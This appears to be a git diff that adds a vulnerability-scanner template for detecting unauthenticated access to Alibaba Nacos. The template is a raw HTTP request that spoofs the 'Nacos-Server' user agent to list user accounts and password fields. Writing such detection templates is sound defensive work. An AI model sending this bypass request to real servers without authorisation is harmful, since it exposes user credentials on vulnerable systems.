diff --git a/security-misconfiguration/unauthenticated-nacos-access.yaml b/security-misconfiguration/unauthenticated-nacos-access.yaml new file mode 100644 index 0000000000..e3f7ffd68d --- /dev/null +++ b/security-misconfiguration/unauthenticated-nacos-access.yaml @@ -0,0 +1,30 @@ +id: unauthenticated-nacos-access + +info: + name: Unauthenticated Nacos access + author: taielab + severity: critical + + # References: + # - https://github.com/alibaba/nacos/issues/4593 + +requests: + - raw: + - | + GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1 + Host: {{Hostname}} + User-Agent: Nacos-Server + Content-Length: 2 + + matchers-condition: and + matchers: + - type: regex + regex: + - "username" + - "password" + - "totalCount" + condition: and + part: body + - type: status + status: + - 200